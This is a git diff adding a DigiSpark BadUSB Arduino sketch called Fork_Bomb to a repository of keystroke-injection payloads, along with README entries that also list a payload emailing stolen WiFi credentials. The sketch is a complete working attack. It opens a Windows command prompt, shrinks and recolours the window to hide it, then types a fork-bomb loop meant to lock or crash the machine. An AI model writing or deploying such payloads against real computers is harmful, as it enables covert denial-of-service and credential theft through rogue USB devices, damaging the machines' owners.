diff --git a/Fork_Bomb/Fork_Bomb.ino b/Fork_Bomb/Fork_Bomb.ino new file mode 100644 index 0000000..afd356d --- /dev/null +++ b/Fork_Bomb/Fork_Bomb.ino @@ -0,0 +1,24 @@ +//This script opens up a Windows command prompt and makes it open up another instance of itself and so on until the machine can take it no more and either locks or crashes. Credits to BlackBoot. +#include "DigiKeyboard.h" +void setup() { +} + +void loop() { + DigiKeyboard.sendKeyStroke(0); + DigiKeyboard.delay(500); + DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); + DigiKeyboard.delay(500); + DigiKeyboard.print("cmd"); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + DigiKeyboard.delay(500); + //Obfuscate the terminal + DigiKeyboard.print("MODE CON: COLS=15 LINES=1"); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + DigiKeyboard.delay(100); + DigiKeyboard.print("COLOR EF"); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + //Run the fork bomb + DigiKeyboard.delay(500); + DigiKeyboard.print(F("for /l %x in (1,1,10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000) do start")); + DigiKeyboard.sendKeyStroke(KEY_ENTER); +} diff --git a/README.md b/README.md index c809629..648098a 100644 --- a/README.md +++ b/README.md @@ -21,7 +21,10 @@ Configure the Arduino IDE for the DigiSpark using: https://digistump.com/wiki/di >WiFi_Profile_Mailer : Writes the wireless network credentials to a csv file and emails it. +>Fork_Bomb : Opens up an obfuscated windows terminal and makes it multiply itself uncontrolably causing the machine to either lock or crash. + # Credits and resources: p0wc0w for the original WiFi Grabber and Mailer Scripts. +BlackBoot for the original fork bomb. hak5darren for the USB Rubber Ducky Documentation: https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Duckyscript Digistump for the DigiSpark and their documentation: https://github.com/digistump/DigisparkArduinoIntegration/blob/master/libraries/DigisparkKeyboard/DigiKeyboard.h